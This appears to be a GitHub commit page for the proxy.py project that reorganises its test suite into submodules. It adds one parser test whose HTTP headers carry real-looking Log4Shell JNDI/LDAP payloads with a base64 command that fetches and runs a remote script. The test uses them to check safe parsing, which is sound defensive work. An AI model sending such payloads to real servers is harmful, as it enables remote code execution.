Skip to content

Commit 05a8ff9

Browse files
Test submodule and refactor (#971)
* Refactor tests into submodules * isort tests * Add malicious request headers test * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
1 parent dea4b58 commit 05a8ff9

17 files changed

+151
-63
lines changed

setup.cfg

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -121,4 +121,4 @@ exclude =
121121
tests.*
122122

123123
[codespell]
124-
skip = tests/http/tls_server_hello.data
124+
skip = tests/http/parser/tls_server_hello.data

tests/http/parser/__init__.py

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
# -*- coding: utf-8 -*-
2+
"""
3+
proxy.py
4+
~~~~~~~~
5+
⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on
6+
Network monitoring, controls & Application development, testing, debugging.
7+
8+
:copyright: (c) 2013-present by Abhinav Singh and contributors.
9+
:license: BSD, see LICENSE for more details.
10+
"""

tests/http/test_http_parser.py renamed to tests/http/parser/test_http_parser.py

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -763,3 +763,51 @@ def test_proxy_protocol_not_for_response_parser(self) -> None:
763763
httpParserTypes.RESPONSE_PARSER,
764764
enable_proxy_protocol=True,
765765
)
766+
767+
def test_is_safe_against_malicious_requests(self) -> None:
768+
self.parser.parse(
769+
b'GET / HTTP/1.1\r\n' +
770+
b'Host: 34.131.9.210:443\r\n' +
771+
b'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
772+
b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
773+
b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}\r\n' +
774+
b'Content-Type: application/x-www-form-urlencoded\r\n' +
775+
b'nReferer: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
776+
b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
777+
b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}\r\n' +
778+
b'X-Api-Version: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}' +
779+
b'://198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
780+
b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}\r\n' +
781+
b'Cookie: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
782+
b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
783+
b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}' +
784+
b'\r\n\r\n',
785+
)
786+
self.assertEqual(
787+
self.parser.header(b'user-agent'),
788+
b'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
789+
b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
790+
b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}',
791+
)
792+
self.assertEqual(
793+
self.parser.header(b'content-type'),
794+
b'application/x-www-form-urlencoded',
795+
)
796+
self.assertEqual(
797+
self.parser.header(b'nreferer'),
798+
b'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
799+
b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
800+
b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}',
801+
)
802+
self.assertEqual(
803+
self.parser.header(b'X-Api-Version'),
804+
b'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}' +
805+
b'://198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
806+
b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}',
807+
)
808+
self.assertEqual(
809+
self.parser.header(b'cookie'),
810+
b'${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}:' +
811+
b'//198.98.53.25:1389/TomcatBypass/Command/Base64d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pd' +
812+
b'C5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOw==}',
813+
)
File renamed without changes.

tests/http/proxy/__init__.py

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
# -*- coding: utf-8 -*-
2+
"""
3+
proxy.py
4+
~~~~~~~~
5+
⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on
6+
Network monitoring, controls & Application development, testing, debugging.
7+
8+
:copyright: (c) 2013-present by Abhinav Singh and contributors.
9+
:license: BSD, see LICENSE for more details.
10+
"""
File renamed without changes.
File renamed without changes.

tests/http/test_http_proxy_tls_interception.py renamed to tests/http/proxy/test_http_proxy_tls_interception.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@
2626
from proxy.http.responses import PROXY_TUNNEL_ESTABLISHED_RESPONSE_PKT
2727
from proxy.core.connection import TcpClientConnection, TcpServerConnection
2828
from proxy.common.constants import DEFAULT_CA_FILE
29-
from ..test_assertions import Assertions
29+
from ...test_assertions import Assertions
3030

3131

3232
class TestHttpProxyTlsInterception(Assertions):

tests/http/web/__init__.py

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
# -*- coding: utf-8 -*-
2+
"""
3+
proxy.py
4+
~~~~~~~~
5+
⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on
6+
Network monitoring, controls & Application development, testing, debugging.
7+
8+
:copyright: (c) 2013-present by Abhinav Singh and contributors.
9+
:license: BSD, see LICENSE for more details.
10+
"""

tests/http/test_web_server.py renamed to tests/http/web/test_web_server.py

Lines changed: 58 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@
2828
from proxy.common.constants import (
2929
CRLF, PROXY_PY_DIR, PLUGIN_PAC_FILE, PLUGIN_HTTP_PROXY, PLUGIN_WEB_SERVER,
3030
)
31-
from ..test_assertions import Assertions
31+
from ...test_assertions import Assertions
3232

3333

3434
PAC_FILE_PATH = os.path.join(
@@ -72,65 +72,65 @@ def mock_selector_for_client_read(self: Any) -> None:
7272
),
7373
]
7474

75-
# @mock.patch('socket.fromfd')
76-
# def test_on_client_connection_called_on_teardown(
77-
# self, mock_fromfd: mock.Mock,
78-
# ) -> None:
79-
# flags = FlagParser.initialize(threaded=True)
80-
# plugin = mock.MagicMock()
81-
# flags.plugins = {b'HttpProtocolHandlerPlugin': [plugin]}
82-
# self._conn = mock_fromfd.return_value
83-
# self.protocol_handler = HttpProtocolHandler(
84-
# TcpClientConnection(self._conn, self._addr),
85-
# flags=flags,
86-
# )
87-
# self.protocol_handler.initialize()
88-
# plugin.assert_called()
89-
# with mock.patch.object(self.protocol_handler, '_run_once') as mock_run_once:
90-
# mock_run_once.return_value = True
91-
# self.protocol_handler.run()
92-
# self.assertTrue(self._conn.closed)
93-
# plugin.return_value.on_client_connection_close.assert_called()
75+
# @mock.patch('socket.fromfd')
76+
# def test_on_client_connection_called_on_teardown(
77+
# self, mock_fromfd: mock.Mock,
78+
# ) -> None:
79+
# flags = FlagParser.initialize(threaded=True)
80+
# plugin = mock.MagicMock()
81+
# flags.plugins = {b'HttpProtocolHandlerPlugin': [plugin]}
82+
# self._conn = mock_fromfd.return_value
83+
# self.protocol_handler = HttpProtocolHandler(
84+
# TcpClientConnection(self._conn, self._addr),
85+
# flags=flags,
86+
# )
87+
# self.protocol_handler.initialize()
88+
# plugin.assert_called()
89+
# with mock.patch.object(self.protocol_handler, '_run_once') as mock_run_once:
90+
# mock_run_once.return_value = True
91+
# self.protocol_handler.run()
92+
# self.assertTrue(self._conn.closed)
93+
# plugin.return_value.on_client_connection_close.assert_called()
9494

95-
# @mock.patch('socket.fromfd')
96-
# def test_on_client_connection_called_on_teardown(
97-
# self, mock_fromfd: mock.Mock,
98-
# ) -> None:
99-
# flags = FlagParser.initialize(threaded=True)
100-
# plugin = mock.MagicMock()
101-
# flags.plugins = {b'HttpProtocolHandlerPlugin': [plugin]}
102-
# self._conn = mock_fromfd.return_value
103-
# self.protocol_handler = HttpProtocolHandler(
104-
# TcpClientConnection(self._conn, self._addr),
105-
# flags=flags,
106-
# )
107-
# self.protocol_handler.initialize()
108-
# plugin.assert_called()
109-
# with mock.patch.object(self.protocol_handler, '_run_once') as mock_run_once:
110-
# mock_run_once.return_value = True
111-
# self.protocol_handler.run()
112-
# self.assertTrue(self._conn.closed)
113-
# plugin.return_value.on_client_connection_close.assert_called()
95+
# @mock.patch('socket.fromfd')
96+
# def test_on_client_connection_called_on_teardown(
97+
# self, mock_fromfd: mock.Mock,
98+
# ) -> None:
99+
# flags = FlagParser.initialize(threaded=True)
100+
# plugin = mock.MagicMock()
101+
# flags.plugins = {b'HttpProtocolHandlerPlugin': [plugin]}
102+
# self._conn = mock_fromfd.return_value
103+
# self.protocol_handler = HttpProtocolHandler(
104+
# TcpClientConnection(self._conn, self._addr),
105+
# flags=flags,
106+
# )
107+
# self.protocol_handler.initialize()
108+
# plugin.assert_called()
109+
# with mock.patch.object(self.protocol_handler, '_run_once') as mock_run_once:
110+
# mock_run_once.return_value = True
111+
# self.protocol_handler.run()
112+
# self.assertTrue(self._conn.closed)
113+
# plugin.return_value.on_client_connection_close.assert_called()
114114

115-
# @mock.patch('socket.fromfd')
116-
# def test_on_client_connection_called_on_teardown(
117-
# self, mock_fromfd: mock.Mock,
118-
# ) -> None:
119-
# flags = FlagParser.initialize(threaded=True)
120-
# plugin = mock.MagicMock()
121-
# flags.plugins = {b'HttpProtocolHandlerPlugin': [plugin]}
122-
# self._conn = mock_fromfd.return_value
123-
# self.protocol_handler = HttpProtocolHandler(
124-
# TcpClientConnection(self._conn, self._addr),
125-
# flags=flags,
126-
# )
127-
# self.protocol_handler.initialize()
128-
# plugin.assert_called()
129-
# with mock.patch.object(self.protocol_handler, '_run_once') as mock_run_once:
130-
# mock_run_once.return_value = True
131-
# self.protocol_handler.run()
132-
# self.assertTrue(self._conn.closed)
133-
# plugin.return_value.on_client_connection_close.assert_called()
115+
# @mock.patch('socket.fromfd')
116+
# def test_on_client_connection_called_on_teardown(
117+
# self, mock_fromfd: mock.Mock,
118+
# ) -> None:
119+
# flags = FlagParser.initialize(threaded=True)
120+
# plugin = mock.MagicMock()
121+
# flags.plugins = {b'HttpProtocolHandlerPlugin': [plugin]}
122+
# self._conn = mock_fromfd.return_value
123+
# self.protocol_handler = HttpProtocolHandler(
124+
# TcpClientConnection(self._conn, self._addr),
125+
# flags=flags,
126+
# )
127+
# self.protocol_handler.initialize()
128+
# plugin.assert_called()
129+
# with mock.patch.object(self.protocol_handler, '_run_once') as mock_run_once:
130+
# mock_run_once.return_value = True
131+
# self.protocol_handler.run()
132+
# self.assertTrue(self._conn.closed)
133+
# plugin.return_value.on_client_connection_close.assert_called()
134134

135135

136136
class TestWebServerPluginWithPacFilePlugin(Assertions):

tests/http/websocket/__init__.py

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
# -*- coding: utf-8 -*-
2+
"""
3+
proxy.py
4+
~~~~~~~~
5+
⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on
6+
Network monitoring, controls & Application development, testing, debugging.
7+
8+
:copyright: (c) 2013-present by Abhinav Singh and contributors.
9+
:license: BSD, see LICENSE for more details.
10+
"""

tests/test_main.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -28,9 +28,9 @@
2828
DEFAULT_OPEN_FILE_LIMIT, DEFAULT_DEVTOOLS_WS_PATH,
2929
DEFAULT_ENABLE_DASHBOARD, PLUGIN_DEVTOOLS_PROTOCOL,
3030
DEFAULT_ENABLE_WEB_SERVER, DEFAULT_DISABLE_HTTP_PROXY,
31-
DEFAULT_CA_SIGNING_KEY_FILE, DEFAULT_CLIENT_RECVBUF_SIZE,
32-
DEFAULT_SERVER_RECVBUF_SIZE, DEFAULT_ENABLE_STATIC_SERVER, PLUGIN_WEBSOCKET_TRANSPORT,
33-
_env_threadless_compliant,
31+
PLUGIN_WEBSOCKET_TRANSPORT, DEFAULT_CA_SIGNING_KEY_FILE,
32+
DEFAULT_CLIENT_RECVBUF_SIZE, DEFAULT_SERVER_RECVBUF_SIZE,
33+
DEFAULT_ENABLE_STATIC_SERVER, _env_threadless_compliant,
3434
)
3535

3636

0 commit comments

Comments
 (0)